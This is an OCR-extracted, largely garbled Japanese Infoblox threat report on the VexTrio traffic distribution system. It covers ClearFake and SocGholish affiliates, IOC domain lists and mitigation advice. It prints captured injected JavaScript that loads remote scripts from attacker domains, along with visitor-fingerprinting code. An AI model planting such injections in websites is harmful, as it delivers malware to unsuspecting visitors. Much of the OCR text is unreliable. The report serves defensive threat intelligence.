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DT T4 )IA SHEL>TED., TNENHIHRBEORREZGZF o TSz, JavaScript
AT VOEMEIZITESETI, UTOEISa>TIE. THLIEEEDHZ R Y
D7 EDFIEVWS DOMMBN T D EHIC. —BDT T4 )IA CHARINLAAXA—=)LEN L THE
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§ "https://code. jquery.com/jquery-3.3.1.min.Js" ><

ript >

var khutmhpx = document.createElement("script");

khutmhpx.src = "https://getquery.org/cvV2pp71";
document.getElementsByTagName("head") [0].appendChild(khutmhpx) ;

= src = "https ode.jquery.com/jquery-3.3.1.min.js">

var khutmhpx = document.createElement("script");

khutmhpx.src = "https://quaryget.org/Gb7XTy3b";
document.getElementsByTagName("head" ) [0].appendChild (khutmhpx);
Ccri ['|’|

var khutmhpx = document.createElement("script");
khutmhpx.src = "https://greenpapers.org/6gjyRhhQ";
document.getElementsByTagName("head")[0].appendChild (khutmhpx) ;

src = "https://code.jquery.com/jquery-3.3.1.min.js"></script>
document.createElement("script");
khutmhpx.src = "https://dailytickyclock.org/Rz7kFbxJ";

document.getElementsByTagName("head")[0] .appendChild (khutmhpx) ;
</script>
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country = 'IT';

action = 'RD

hl = '09e2835f065d7c7c7e8479962c93ba7d’;
h2 '56a7b51e463520af6e23bd5495061717 "' ;

'6Ley7dsaAAAAAF2quj2hEhZMADDWSTF5Wxd5CdIB ' ;
9
cid = '1658963674.0204";
ptr = '
width = screen.width;
height = screen.height;
cwidth = document.documentElement.clientWidth;
cheight = document.documentElement.clientHeight;
colordepth = screen.colorDepth;
pixeldepth = screen.pixelDepth;
phpreferrer = '';
referrer = document.referrer;

22 WEEBRZINET 78D JavaScript

WEEICEBT BT —FD I /N1 L. JavaScript D772 —D C2 H—N—ThH 3
antibotcloud[.Jcom ICC DIBERZEIEL £ _id. O 7D antibot[.Jcloudt—E
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Settings - Notification Permissions

The Following websites have requested to send you notifications. You can specify which
websites are allowed to send you notifications. You can also block new requests asking to allow

notifications.

Website

https://a.crystalcraft.top

Remove All Websites

[ Block new requests asking to allow notifications

not listed abov
rions may break sc
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FNICEELE T, 77— IEDTDa—IILEMATENATETED, RFEICHIE>TT
FIERNUI—>a VDRI TVETY,
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IL TUO FILE E PRONTO PER

SCARICARE!

SCARICA! D

30: MWSMS DS VT 1 VI R—=

28



HAN—LRIIIZT LI VEXTRIO WSEE T2 AMRKEAIRRT 7 VI TOY T4

infoblox.

AREETIERZFEAN., BEINTT A MITIEALTHBE I VTV IR=JICTIER
TBFETOBIC. TTTHTIFFFUR X1 VICZHO Ry D —0EGENM TN E Lz, AIE
TAODRY N IT—O RS T4 v I v TFvICEDI. COWEF T — Il VexTrio DT
T4 )IA b, VexTrio BiR. A0 —=LDT7 74 JUILA b FEEUST ) wav— (K31
#2MR) 28TV RCEH 4 DDOERZTIVA—HDESL TWeeFMEINE S,

X 31: SMSFFRMED FS 71 v IF v IF ¥

CONCLUSION

VexTrio DEERE X IETILIE. HOBRECD/N—rF—> v FEEEL. BIET S
ENTHhO THEEA., FHEOETEENOHZ T IVATLEBRLES, 770 UI T K
Xy T =T ISEMREET. ADBEATWS S, EEICDEL. 7rJEa2—>3>9 3
CCIERE T, COEMTICED, VexTrio 6 ELLEIChTc>Txa ) T ZRICEH]
EHIGND /< BRIZZENTITFE LT, THIC. TONAH —DBEIREZTE L.
Cloudflare B ORFEH —EXZBL TEDEHZBIULLLAR LTVWET, FHBCBHH RE
THo>TH. VexTriox TOv I T, LERICHEZ A N\—CRIEFETEHZREILTEE
o 122l ZOEVWEBRLESHEEZ R Y. SBDEEHERY FT—0FFEBIETLL
CFREINET,

FBh R

Infoblox (. VexTrio 4 & DkKi7A DNS BRI 7V 2 —h oz RET 2 txa 70V
Ja—>3 > 08 ONA4S4—Td, NRAEZIAATINDNS ELEFIARN—D 7))L
A LZERAL T, BB I <IC VexTrio DB TDS H—/N— & DDGA R X1 > &HAI LT £
o VexTriold, 12—y FA—HF—DRLEVBICFEENIFTABETEEDH SR Y b
J—OTHOH. EiglE. BBEINCI VT OYIMIOEBLTIL T T7LDBERICEZIHRLE
WO BULIAAHEEI(IC. VexTrio DB OEAMEZ @/NHEI NI TIEH D £ Ao

o HB#D VexTrio P EERD TTP ICX L CRIENZZHH 2 (ICId. RDIRERZHED L £,

« Web TOEENE. Fa7V 7y bL+v— (SSL) SIFAEZEA T 2% 27 Web 7 b ICIR
ELELED. B2 Web U1 D URLI(E. 875 Thttp) Tl < Thitps) TIHED 95

29



FAN—ILRITIASRTLIVEXTRIO BB T 2ARERILTET 7 VI b TOT T4

e BLADHRVWWeb U MMIT7IERTREFIIREOROTAIVEFEL. 71AV%E Y
w2 L TWeb 1 FOEBEEZEELEL £S5,

s FRETETHRVWWeb Y1 bS50 T Y a@AIFEFAILBVWESICLEL & D,

¢« Ry 77 v FREICL>TREEBISNZBEDOTIL T 72T OvoT3ICIF. 7RITOY
Hh—T0V S LEZFERTZ2ODNBENDTT, T 5IC. Web 5 NoScript Z#HAT % & L L)
TL&Se THNICED. JavaScript REDBEMICEER IV T VY EEBETIE 21 D
S5DNAERTLTC. 7IVEZ—DFIATEZRENRBEHAEZRNTZ N TEED,

« BEDHDZKRAMEHSFRET S Infoblox RPZ 74 — RIZEFELFLLED. TNHD T 4 —
Rig. 702 —0#ki% DNS L)L THEIETEX Y, COLR—MIBHINTWVWEZIART
DAVR—%> b (BEIN=Web -1~ FREIUATL YT ERXA>. DDGA R X1 >,
ST I R=) (ITIEDNS 70O R DILHANERTZHTE, Infoblox Threat Intel 1& 21
S5OAVR—x> hEBBZRE L. Infoblox D RPZ 7« — RICEBML 9, #

« Infoblox @ Threat Insight Y —EX&EFALEFL L5, COH—E XL 717 DNS oI
ICRHLTUTINEALDRA N )=S0 %x3E{TL. DGA ¥ DDGA ICE D BRICH
ZREX DL, BEREF) T EEEEHLET, P

+ VexTrio F7ci3RID TDS 7 U R —THBBIREMEDH D R XA VN LICILEA LT b 2ae
WEBF I —UHBERINIFEEIF. FEARX > 2BENICTOY I LEL & S

T T4 ET 1 DIEIEZ
IRED VexTrio 1 > — 2 —D—8BlE. 255 DGitHub U R K TAFTET £,

womanflirting[]life HEWRF—T— RESFT VexTrio ® TDS R X1 >

bonustop-pricel]life VexTrio D TDS RX 1 Ve BDF—7—R
allprizeshubl.]life
greatbonushere[Jtop

prizes-topwinl.]life

alJerystalcraft[Jtop VexTriod7Rw FCAPTCHATDSR X >
logsmetrics[.Jcom VexTrio ® DNS X—X D TDS K X >~
webdatatrace[Jcom VexTrio D TDS R X7 > (DNS R—2Z D TDS h'5I6%)
marybskitchen[.Jcom ClearFake @ TDS K X1~

prom-gg[.Jcom ClearFakeW VX1 LU T 3F v > TILTA1 ~

go[.Jclicksme[.Jorg

machinetext[.Jorg SocGholish @ TDS k X1 >~
getqueryl.]Jorg

quaryget[.Jorg

greenpapers|.]org

dailytickyclockl.]org

infoblox.


https://github.com/infobloxopen/threat-intelligence/blob/main/cta_indicators/vextrio_cta_20240123_iocs.csv

FAN—ILRITIASRTLIVEXTRIO BB T 2ARERILTET 7 VI b TOT T4

infoblox.

BiRoES

tiktok[.Jmegastok[.Jtop VexTrio D7 7 « 1) T+ bHEER L 7o TikTok LI R X1 >
tiktok[.]Jsupersbows[.]Jus
tiktok[.Jtomorrows[.Jtop

tiktok[.]Jsuperbowsm[.Jtop

hXXps://tinyurl[.] VexTrio7” 7« ) T+ MC & > TER T NI=5EHEURL
com/2ykfey8v

hXXps://tinyurl[.]
com/288tobvb

hXXps://t[.Jco/YbupnnMAtX

hXXps://t[.]Jco/

MmMKTCn6Kd

hXXps://is[]gd/13S7qf

antibotcloud[Jcom VexTrio D7 74 UIA MHERLICT > FRy MEMR
XA

hixastumpl[.Jcom VexTrio DA TV A M —LBET V7 2—hEE TS SMS
TV TV RXA Y

d[.]Jstrouchridun[.]top

FOOTNOTES

N w0 o =

@]

https:/rmceoin.github.io/malware-analysis/clearfake/

https:/www.malwarebytes.com/blog/threat-intelligence/2023/07/socgholish-copycat-delivers-netsupport-rat

https:/www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update

https:/blogs.infoblox.com/cyber-threat-intelligence/cyber-threat-advisory/vextrio-ddga-domains-spread-adware-

spyware-and-scam-web-forms/

https:/www.nozominetworks.com/blog/tracking-malicious-glupteba-activity-through-the-blockchain

https:/blog.sucuri.net/2023/08/from-google-dns-to-tech-support-scam-sites-unmasking-the-malware-trail.html

Figure 3 domain claimyourprize48][.]live is VexTrio TDS. Janos Szurdi, Meng Luo, Brian Kondracki, Nick Nikiforakis, and
Nicolas Christin. 2021. Where are you taking me? Understanding Abusive Traffic Distribution Systems. In Proceedings
of the Web Conference 2021 (WWW "21). Association for Computing Machinery, New York, NY, USA, 3613-3624.
https:/doi.org/10.1145/3442381.3450071

https:/blog.leadbit.com/tds-what-is-it/

Janos Szurdi, Meng Luo, Brian Kondracki, Nick Nikiforakis, and Nicolas Christin. 2021. Where are you taking me?
Understanding Abusive Traffic Distribution Systems. In Proceedings of the Web Conference 2021 (WWW '21).
Association for Computing Machinery, New York, NY, USA, 3613-3624.
https:/doi.org/10.1145/3442381.3450071

10 https:/blog.leadbit.com/tds-what-is-it/

11 https://urlscan.io/result/3f9dd02e-7681-4312-8cda-e1a30f85e3d1/#summary

12 https://blogs.infoblox.com/cyber-threat-intelligence/cyber-threat-advisory/vextrio-deploys-dns-based-tds-server/

13 https:/rmceoin.github.io/malware-analysis/clearfake/

14 https://decoded.avast.io/janrubin/parrot-tds-takes-over-web-servers-and-threatens-millions/

31


https://rmceoin.github.io/malware-analysis/clearfake/
https://www.malwarebytes.com/blog/threat-intelligence/2023/07/socgholish-copycat-delivers-netsupport-rat
https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update
https://blogs.infoblox.com/cyber-threat-intelligence/cyber-threat-advisory/vextrio-ddga-domains-spread-adware-spyware-and-scam-web-forms/
https://blogs.infoblox.com/cyber-threat-intelligence/cyber-threat-advisory/vextrio-ddga-domains-spread-adware-spyware-and-scam-web-forms/
https://www.nozominetworks.com/blog/tracking-malicious-glupteba-activity-through-the-blockchain
https://blog.sucuri.net/2023/08/from-google-dns-to-tech-support-scam-sites-unmasking-the-malware-trail.html
https://doi.org/10.1145/3442381.3450071
https://doi.org/10.1145/3442381.3450071
https://blog.leadbit.com/tds-what-is-it/
https://doi.org/10.1145/3442381.3450071
https://blog.leadbit.com/tds-what-is-it/
https://urlscan.io/result/3f9dd02e-7681-4312-8cda-e1a30f85e3d1/#summary
https://blogs.infoblox.com/cyber-threat-intelligence/cyber-threat-advisory/vextrio-deploys-dns-based-tds-server/
https://rmceoin.github.io/malware-analysis/clearfake/
https://decoded.avast.io/janrubin/parrot-tds-takes-over-web-servers-and-threatens-millions/

YAN—ILRIIVRTLIVEXTRIO MEE T EARREAILTET 70 VI N TOT S 4

15 https://www.infoblox.com/company/news-events/press-releases/ransomware-domains-increase-35-fold-g1-2016-

according-infoblox-dns-threat-index/

16 https:/www.malwarebytes.com/blog/threat-intelligence/2023/07/socgholish-copycat-delivers-netsupport-rat

17 https:/gist.github.com/fundon/1475696/bbbe8b316bd91375526d83841483fc9a11904255

18 https:/publicwww.com/websites/depth%3A0+%22b64 _to_utf8%22/

19 https://urlscan.io/result/98589e9b-6dbf-4ab0-835f-4b0bebc0bb7d/#transactions

20https://urlscan.io/result/b7af6f66-c64e-436f-a43d-b86bcIb1e838/Hsummar

21 https://urlscan.io/result/c760e6e8-7ef1-4389-a990-0b8bf525a6¢b/H#summary

22 https://community.infoblox.com/t5/infoblox-tide-solution/custom-rpz-feeds-from-infoblox-tide/gpm-p/14027

23 https://www.infoblox.com/resources/datasheet/threat-insight

INFOBLOX THREAT INTEL

Infoblox Threat Intel I, B D DNS BE7 > T U TV XA %RIET 2R TH—DO DNS TF X
IN— FEMT Y, Infoblox HMEIEN B IEA. TNUE EBEMALETD DNS XF)L e TR A RT4E M,
DNS |FEMTIEEA# L W EShNFEITH. B ORVHBCRBOT7 7 XICED. H1/N—
BRUCHIFEICTHLL £9, B IEBAHMNARISIT TR, 2B T, B ORREEEL T
TAN—LREZDOEERENSHELELTWETY, oo FHRATEREZ R F L. GitHub TiEEZ
HI)J)—9B5Z T AEEHEL. SDEELREXFa )Ty DI a2 T E2FR—KLEEW
CEZTWVWET, THIC. YD1 > TP > XUF Infoblox DNS BES L UHEY U 2—2 3
VNV —=LLRAIHEETNTWVWSE 0. BERIFBFHNICEFOX) Y hEZEZTTI BT THL .
BBRHEERHEIFEEIMZSNET,

* Infoblox &%y k7= tFa )T ZMAELT. ChETICAWNT +—Y Infoblox # &4t
|nf0blox CRLRERRELET, Fortune 100 PEPHFEAENSEEEIN, Ry T 107-0062 RRHBEAEIL 2-26-37
FO—OHHIC. ELTAICERINTVWRONE D 7ILZ1 LTHFMLLEIE  VORT 43640 | 3F
T35LT. EBITRRICEB TS, BRHERHHICHELETEEY,
03-5772-7211
www.infoblox.com

© 2024 Infoblox, Inc.All rights reserved.Infoblox O, LU ICRRINTWVBRZDMDY—2 &, Infoblox, Inc. DFFEYITY .
HOITRTOY =21 TNZNOFBEEIC/BLE I, ﬂ X m o

N—23>:20240130v1


https://www.infoblox.com/
https://www.instagram.com/infoblox/?hl=en
https://www.youtube.com/channel/UCfWH0dl7yTjRo9SaCz1s5nw
https://www.linkedin.com/company/infoblox/
https://www.facebook.com/Infobloxinc/
https://twitter.com/Infoblox
https://www.infoblox.com/company/news-events/press-releases/ransomware-domains-increase-35-fold-q1-2016-according-infoblox-dns-threat-index/
https://www.infoblox.com/company/news-events/press-releases/ransomware-domains-increase-35-fold-q1-2016-according-infoblox-dns-threat-index/
https://www.malwarebytes.com/blog/threat-intelligence/2023/07/socgholish-copycat-delivers-netsupport-rat
https://gist.github.com/fundon/1475696/bbbe8b316bd91375526d83841483fc9a11904255
https://publicwww.com/websites/depth%3A0+%22b64_to_utf8%22/
https://urlscan.io/result/98589e9b-6dbf-4ab0-835f-4b0bebc0bb7d/#transactions
https://urlscan.io/result/b7af6f66-c64e-436f-a43d-b86bc9b1e838/#summary
https://urlscan.io/result/c760e6e8-7ef1-4389-a990-0b8bf525a6cb/#summary
https://community.infoblox.com/t5/infoblox-tide-solution/custom-rpz-feeds-from-infoblox-tide/gpm-p/14027?_ga=2.258017610.1505090932.1706513723-1713047888.1686912925
https://insights.infoblox.com/resources-datasheets/infoblox-datasheet-threat-insight

	Executive Summary
	Traffic Distribution Systems
	VexTrio’s Business Model
	Variations within VexTrio’s TDS
	HTTP-Based TDS
	DNS-Based TDS
	Affiliates
	ClearFake
	SocGholish
	TikTok Refresh
	Domain Analysis
	DDGA
	DNS Infrastructure
	Attack Vectors
	JavaScript Injection
	Obfuscation and Lookalike Domains
	Injections From Multiple Actors
	URL Shorteners
	Campaigns
	Robot CAPTCHA
	SMS Scam
	Conclusion
	Prevention and Mitigation
	INFOBLOX THREAT INTEL
	Footnotes

